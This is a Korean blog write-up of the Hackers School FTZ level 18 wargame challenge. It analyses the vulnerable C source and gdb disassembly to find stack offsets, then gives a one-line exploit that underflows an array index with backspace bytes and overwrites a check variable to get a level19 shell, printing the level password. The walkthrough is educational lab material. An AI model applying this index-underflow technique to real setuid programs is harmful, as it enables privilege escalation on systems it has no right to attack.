[FTZ] level 18 → level 19 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 18 → level 19 문제풀이

disso1p1 2020. 3. 7. 14:24

 

 

 

level18 - id : level18 , pw : why did you do it



[level18@ftz level18]$ ls
attackme  hint	public_html  tmp
[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);				 // 표준출력 버퍼 비우기 ("Enter your command: " 를 먼저 출력해버림)
  while(1)
    {
      if(count >= 100)			         // 만약 count 가 100 보다 크거나 같으면
        printf("what are you trying to do?\n");	 // 출력
      if(check == 0xdeadbeef)	                 // 만약 check 가 '0xdeadbeef'면 *** 우리가 해야할 부분 ***
        shellout();			         // shellout 함수 실행
      else
        {
          FD_ZERO(&fds);			 // ?
          FD_SET(STDIN_FILENO,&fds);		 // ?
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)	// ?
            {
              if(FD_ISSET(fileno(stdin),&fds))   // ?
                {
                  read(fileno(stdin),&x,1);      // x 에 표준입력으로 받은 문자열에서 1byte 만큼 삽입
                  switch(x)			 // x 에 값에 따라
                    {
                      case '\r':				
                      case '\n':		 // '\r' 이나 '\n'이면
                        printf("\a");		 // 출력
                        break;
                      case 0x08:		 // '0x08'이면
                        count--;		 // count 값을 1 감소
                        printf("\b \b");	 // 출력
                        break;
                      default:			 // 그 외에는
                        string[count] = x;	 // string[count] 에 x 삽입
                        count++;		 // count 값을 1 증가
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);				 // level19 의 권한의 setuid 를 부여
  execl("/bin/sh","sh",NULL);		         // 쉘코드 실행
}   

[level18@ftz level18]$ 

 

힌트를 보니 다른 문제들에 비해 코드가 좀 길다.

 

처음에 풀 때 FD 에 대한 함수를 몰라서 모르는 상태로 아는 부분만 해석하면서 풀었다.

 

 

변수 check 가 '0xdeadbeef' 면 쉘이 따지는데, 우리는 변수 string 의 값만 조작할 수 있다.

그런데 string 은 check 보다 먼저 선언됐기 때문에 스택에서 string 이 더 높은 주소에 위치하게 된다.

즉, BOF 기법을 사용할 수 없다.

 

 

하지만 string 의 인덱스 값으로 음수를 넣어준다면?

 

예를 들어 string[-100] 이런 식으로 말이다.

 

 [level18@ftz level18]$ ls
attackme  hint	public_html  tmp
[level18@ftz level18]$ cd tmp
[level18@ftz tmp]$ vi test.c

#include<stdio.h>

int main()
{
        char string[20];
        int i;

        gets(string);
  
        for(i=-12; i<20; i++)
                printf("%x ", string[i]);
        printf("\n");
  
        return 0;       
}
[level18@ftz tmp]$

 

이 프로그램은

변수 string 에 표준입력으로 입력 받고, string[-12] 부터 string[19] 까지 16진수로 출력하는 간단한 프로그램이다.

 

[level18@ftz tmp]$ ls
test.c
[level18@ftz tmp]$ gcc -o test test.c
/tmp/ccglF1eT.o(.text+0x18): In function `main':
: the `gets' function is dangerous and should not be used.
[level18@ftz tmp]$ (python -c 'print "A"*20') | ./test
0 0 0 0 ffffff81 54 1 42 fffffffc ffffffff ffffffff ffffffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 
[level18@ftz tmp]$ 

 

그러면 오류가 나지않고, 쓰레기 값이 12 byte 출력되고, 41(A) 가 출력된다.

 

이 쓰레기 값은 어디서 나오는 것일까?

 

[level18@ftz tmp]$ gdb -q test  
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:	push   ebp
0x0804835d <main+1>:	mov    ebp,esp
0x0804835f <main+3>:	sub    esp,0x38
0x08048362 <main+6>:	and    esp,0xfffffff0
0x08048365 <main+9>:	mov    eax,0x0
0x0804836a <main+14>:	sub    esp,eax
0x0804836c <main+16>:	sub    esp,0xc
0x0804836f <main+19>:	lea    eax,[ebp-40]
0x08048372 <main+22>:	push   eax
0x08048373 <main+23>:	call   0x804827c <gets>
0x08048378 <main+28>:	add    esp,0x10
0x0804837b <main+31>:	mov    DWORD PTR [ebp-44],0xfffffff4
0x08048382 <main+38>:	cmp    DWORD PTR [ebp-44],0x13
0x08048386 <main+42>:	jle    0x804838a <main+46>
0x08048388 <main+44>:	jmp    0x80483ab <main+79>
0x0804838a <main+46>:	sub    esp,0x8
0x0804838d <main+49>:	lea    eax,[ebp-40]
0x08048390 <main+52>:	add    eax,DWORD PTR [ebp-44]
0x08048393 <main+55>:	movsx  eax,BYTE PTR [eax]
0x08048396 <main+58>:	push   eax
0x08048397 <main+59>:	push   0x8048470
0x0804839c <main+64>:	call   0x804829c <printf>
---Type <return> to continue, or q <return> to quit---
0x080483a1 <main+69>:	add    esp,0x10
0x080483a4 <main+72>:	lea    eax,[ebp-44]
0x080483a7 <main+75>:	inc    DWORD PTR [eax]
0x080483a9 <main+77>:	jmp    0x8048382 <main+38>
0x080483ab <main+79>:	sub    esp,0xc
0x080483ae <main+82>:	push   0x8048474
0x080483b3 <main+87>:	call   0x804829c <printf>
0x080483b8 <main+92>:	add    esp,0x10
0x080483bb <main+95>:	mov    eax,0x0
0x080483c0 <main+100>:	leave  
0x080483c1 <main+101>:	ret    
0x080483c2 <main+102>:	nop    
0x080483c3 <main+103>:	nop    
End of assembler dump.
(gdb) b*main+100
Breakpoint 1 at 0x80483c0
(gdb) r <<< $(python -c 'print "A"*20')
Starting program: /home/level18/tmp/test <<< $(python -c 'print "A"*20')
0 0 0 0 ffffff81 54 1 42 fffffffc ffffffff ffffffff ffffffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 

Breakpoint 1, 0x080483c0 in main ()
(gdb) x/40x $ebp-80
0xbffff828:	0xbffff878	0x080483b8	0x08048474	0x00000041
0xbffff838:	0x40015bd4	0x40016380	0x00000001	0x00000000
0xbffff848:	0x42015481	0x00000014	0x41414141	0x41414141
0xbffff858:	0x41414141	0x41414141	0x41414141	0x4000c600
0xbffff868:	0xbffff878	0x080483ce	0x42130a14	0x40015360
0xbffff878:	0xbffff898	0x42015574	0x00000001	0xbffff8c4
0xbffff888:	0xbffff8cc	0x4001582c	0x00000001	0x080482ac
0xbffff898:	0x00000000	0x080482cd	0x0804835c	0x00000001
0xbffff8a8:	0xbffff8c4	0x080483c4	0x080483f4	0x4000c660
0xbffff8b8:	0xbffff8bc	0x00000000	0x00000001	0xbffffdc3
(gdb) x/40x $ebp-52
0xbffff844:	0x00000000	0x42015481	0x00000014	0x41414141
0xbffff854:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff864:	0x4000c600	0xbffff878	0x080483ce	0x42130a14
0xbffff874:	0x40015360	0xbffff898	0x42015574	0x00000001
0xbffff884:	0xbffff8c4	0xbffff8cc	0x4001582c	0x00000001
0xbffff894:	0x080482ac	0x00000000	0x080482cd	0x0804835c
0xbffff8a4:	0x00000001	0xbffff8c4	0x080483c4	0x080483f4
0xbffff8b4:	0x4000c660	0xbffff8bc	0x00000000	0x00000001
0xbffff8c4:	0xbffffdc3	0x00000000	0xbffffdda	0xbffffdf8
0xbffff8d4:	0xbffffe08	0xbffffe1c	0xbffffe2a	0xbffffe3a
(gdb) 

 

gdb 를 이용하여 leave 부분에 breakpoint 를 걸고, A 를 20 개 입력했다.

 

0x0804836f <main+19> 부분에 ebp-40 을 gets 의 인자값으로 주기 때문에

string 의 시작주소가 ebp-40 임을 알 수 있다.

 

스택에서 ebp-52 부분부터 0 0 0 0 ... 14 까지 ( 41 바로 뒤 까지)

즉, string 바로 뒤에 있는 12 byte 의 쓰레기 값이 출력된 것이다.

 

 

이것을 OOB(Out Of Boundary) 라고 하는데,

버퍼의 길이 범위를 벗어나는 인덱스에 접근할 때 발생하는 취약점이다.

 

 

 

다시 돌아가서 ..

만약 x 가 '0x08'이면 count 를 1 만큼 감소 시킨다.

 

count 는 string 의 인덱스임으로

check 의 위치와 string 의 위치를 알아내서 그 만큼 '0x08' 을 입력하고, '0xdeadbeef' 를 입력하면 되겠다.

 

 

attackme 파일을 tmp 디렉토리에 복사해 gdb 로 분석해보자.

 

[level18@ftz tmp]$ cd .. 
[level18@ftz level18]$ ls
attackme  hint	public_html  tmp
[level18@ftz level18]$ cp attackme tmp
[level18@ftz level18]$ cd tmp
[level18@ftz tmp]$ ls
attackme  test	test.c
[level18@ftz tmp]$ gdb -q attackme 
(no debugging symbols found)...(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>:	push   ebp
0x08048551 <main+1>:	mov    ebp,esp
0x08048553 <main+3>:	sub    esp,0x100
0x08048559 <main+9>:	push   edi
0x0804855a <main+10>:	push   esi
0x0804855b <main+11>:	push   ebx
0x0804855c <main+12>:	mov    DWORD PTR [ebp-108],0x0
0x08048563 <main+19>:	mov    DWORD PTR [ebp-112],0x0
0x0804856a <main+26>:	push   0x8048800
0x0804856f <main+31>:	call   0x8048470 <printf>
0x08048574 <main+36>:	add    esp,0x4
0x08048577 <main+39>:	mov    eax,ds:0x804993c
0x0804857c <main+44>:	mov    DWORD PTR [ebp-252],eax
0x08048582 <main+50>:	mov    ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>:	push   ecx
0x08048589 <main+57>:	call   0x8048430 <fflush>
0x0804858e <main+62>:	add    esp,0x4
0x08048591 <main+65>:	jmp    0x8048598 <main+72>
0x08048593 <main+67>:	jmp    0x8048775 <main+549>
0x08048598 <main+72>:	cmp    DWORD PTR [ebp-112],0x63
0x0804859c <main+76>:	jle    0x80485ab <main+91>
0x0804859e <main+78>:	push   0x8048815
---Type <return> to continue, or q <return> to quit---
0x080485a3 <main+83>:	call   0x8048470 <printf>
0x080485a8 <main+88>:	add    esp,0x4
0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>
0x080485b4 <main+100>:	call   0x8048780 <shellout>
0x080485b9 <main+105>:	jmp    0x8048770 <main+544>
0x080485be <main+110>:	mov    esi,esi
0x080485c0 <main+112>:	lea    edi,[ebp-240]
0x080485c6 <main+118>:	mov    DWORD PTR [ebp-252],edi
0x080485cc <main+124>:	mov    ecx,0x20
0x080485d1 <main+129>:	mov    edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>:	xor    eax,eax
0x080485d9 <main+137>:	cld    
0x080485da <main+138>:	repz stos es:[edi],eax
0x080485dc <main+140>:	mov    DWORD PTR [ebp-244],ecx
0x080485e2 <main+146>:	mov    DWORD PTR [ebp-248],edi
0x080485e8 <main+152>:	jmp    0x80485f2 <main+162>
0x080485ea <main+154>:	lea    esi,[esi]
0x080485f0 <main+160>:	jmp    0x80485c0 <main+112>
0x080485f2 <main+162>:	xor    eax,eax
0x080485f4 <main+164>:	bts    DWORD PTR [ebp-240],eax
0x080485fb <main+171>:	push   0x0
0x080485fd <main+173>:	push   0x0
---Type <return> to continue, or q <return> to quit---
0x080485ff <main+175>:	push   0x0
0x08048601 <main+177>:	lea    ecx,[ebp-240]
0x08048607 <main+183>:	mov    DWORD PTR [ebp-252],ecx
0x0804860d <main+189>:	mov    edi,DWORD PTR [ebp-252]
0x08048613 <main+195>:	push   edi
0x08048614 <main+196>:	push   0x400
0x08048619 <main+201>:	call   0x8048440 <select>
0x0804861e <main+206>:	add    esp,0x14
0x08048621 <main+209>:	mov    DWORD PTR [ebp-252],eax
0x08048627 <main+215>:	cmp    DWORD PTR [ebp-252],0x0
0x0804862e <main+222>:	jle    0x8048770 <main+544>
0x08048634 <main+228>:	mov    eax,ds:0x8049940
0x08048639 <main+233>:	mov    DWORD PTR [ebp-252],eax
0x0804863f <main+239>:	mov    ecx,DWORD PTR [ebp-252]
0x08048645 <main+245>:	push   ecx
0x08048646 <main+246>:	call   0x8048420 <fileno>
0x0804864b <main+251>:	add    esp,0x4
0x0804864e <main+254>:	mov    DWORD PTR [ebp-252],eax
0x08048654 <main+260>:	mov    esi,DWORD PTR [ebp-252]
0x0804865a <main+266>:	and    esi,0x1f
0x0804865d <main+269>:	mov    edi,ds:0x8049940
0x08048663 <main+275>:	mov    DWORD PTR [ebp-252],edi
0x08048669 <main+281>:	mov    eax,DWORD PTR [ebp-252]
---Type <return> to continue, or q <return> to quit---
0x0804866f <main+287>:	push   eax
0x08048670 <main+288>:	call   0x8048420 <fileno>
0x08048675 <main+293>:	add    esp,0x4
0x08048678 <main+296>:	mov    DWORD PTR [ebp-252],eax
0x0804867e <main+302>:	mov    edx,DWORD PTR [ebp-252]
0x08048684 <main+308>:	shr    edx,0x5
0x08048687 <main+311>:	lea    ecx,[edx*4]
0x0804868e <main+318>:	mov    DWORD PTR [ebp-252],ecx
0x08048694 <main+324>:	lea    edx,[ebp-240]
0x0804869a <main+330>:	mov    edi,DWORD PTR [ebp-252]
0x080486a0 <main+336>:	bt     DWORD PTR [edi+edx],esi
0x080486a4 <main+340>:	setb   bl
0x080486a7 <main+343>:	test   bl,bl
0x080486a9 <main+345>:	je     0x8048770 <main+544>
0x080486af <main+351>:	push   0x1
0x080486b1 <main+353>:	lea    eax,[ebp-108]
0x080486b4 <main+356>:	mov    DWORD PTR [ebp-252],eax
0x080486ba <main+362>:	mov    ecx,DWORD PTR [ebp-252]
0x080486c0 <main+368>:	push   ecx
0x080486c1 <main+369>:	mov    edi,ds:0x8049940
0x080486c7 <main+375>:	mov    DWORD PTR [ebp-252],edi
0x080486cd <main+381>:	mov    eax,DWORD PTR [ebp-252]
0x080486d3 <main+387>:	push   eax
---Type <return> to continue, or q <return> to quit---
0x080486d4 <main+388>:	call   0x8048420 <fileno>
0x080486d9 <main+393>:	add    esp,0x4
0x080486dc <main+396>:	mov    DWORD PTR [ebp-252],eax
0x080486e2 <main+402>:	mov    ecx,DWORD PTR [ebp-252]
0x080486e8 <main+408>:	push   ecx
0x080486e9 <main+409>:	call   0x8048490 <read>
0x080486ee <main+414>:	add    esp,0xc
0x080486f1 <main+417>:	mov    edi,DWORD PTR [ebp-108]
0x080486f4 <main+420>:	mov    DWORD PTR [ebp-252],edi
0x080486fa <main+426>:	cmp    DWORD PTR [ebp-252],0xa
0x08048701 <main+433>:	je     0x8048722 <main+466>
0x08048703 <main+435>:	cmp    DWORD PTR [ebp-252],0xa
0x0804870a <main+442>:	jg     0x8048717 <main+455>
0x0804870c <main+444>:	cmp    DWORD PTR [ebp-252],0x8
0x08048713 <main+451>:	je     0x8048731 <main+481>
0x08048715 <main+453>:	jmp    0x8048743 <main+499>
0x08048717 <main+455>:	cmp    DWORD PTR [ebp-252],0xd
0x0804871e <main+462>:	je     0x8048722 <main+466>
0x08048720 <main+464>:	jmp    0x8048743 <main+499>
0x08048722 <main+466>:	push   0x8048831
0x08048727 <main+471>:	call   0x8048470 <printf>
0x0804872c <main+476>:	add    esp,0x4
0x0804872f <main+479>:	jmp    0x8048770 <main+544>
---Type <return> to continue, or q <return> to quit---
0x08048731 <main+481>:	dec    DWORD PTR [ebp-112]
0x08048734 <main+484>:	push   0x8048833
0x08048739 <main+489>:	call   0x8048470 <printf>
0x0804873e <main+494>:	add    esp,0x4
0x08048741 <main+497>:	jmp    0x8048770 <main+544>
0x08048743 <main+499>:	lea    eax,[ebp-100]
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>
0x08048775 <main+549>:	lea    esp,[ebp-268]
0x0804877b <main+555>:	pop    ebx
0x0804877c <main+556>:	pop    esi
0x0804877d <main+557>:	pop    edi
0x0804877e <main+558>:	leave  
0x0804877f <main+559>:	ret    
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) 

 

0x080485ab <main+91> 부분을 보면 '0xdeadbeef' 와 비교를 하므로 ebp-104 가 check 의 시작위치임을 알 수 있다.

0x08048743 <main+499> 부분을 보면 lea 명령어를 이용하여 eax 에 ebp-100 의 주소를 넘겨주므로

string 의 시작위치임을 알 수 있다.

 

 

string 과 check 사이에 4 byte 가 차이 나므로

'0x08' 을 4 byte 입력하고, '0xdeadbeef 를 입력하면 되겠다.

 

[level18@ftz tmp]$ cd ..
[level18@ftz level18]$ (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"';cat) | ./attackme
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
my-pass

Level19 Password is "swimming in pink".


 

level19 의 권한으로 쉘이 따졌다.

 

 

 

 

Level19 Password is "swimming in pink".

 

 


 

FD_ZERO(&fds) : 변수 fds 를 0 으로 초기화

          FD_SET(STDIN_FILENO,&fds) : 표준입력으로 입력 받은 값을 변수 fds 에 추가
          select(FD_SETSIZE, &fds, NULL, NULL, NULL) : FD_SETSIZE(1024) 미만 중 변수 fds 에 있는 fd(0) 의 이벤트가 발생하면

 해당 이벤트만 1 로 바꾸고 나머지는 0 으로 바꾼다.
              FD_ISSET(fileno(stdin),&fds) : 변수 fds 에 표준입력(0) 값이 설정 되어있는지 확인

( FD_SET 함수로 설정 했으므로 항상 참이 된다.)

 

 

 

 

 

 

감사합니다

 

 

 

 

 

Comments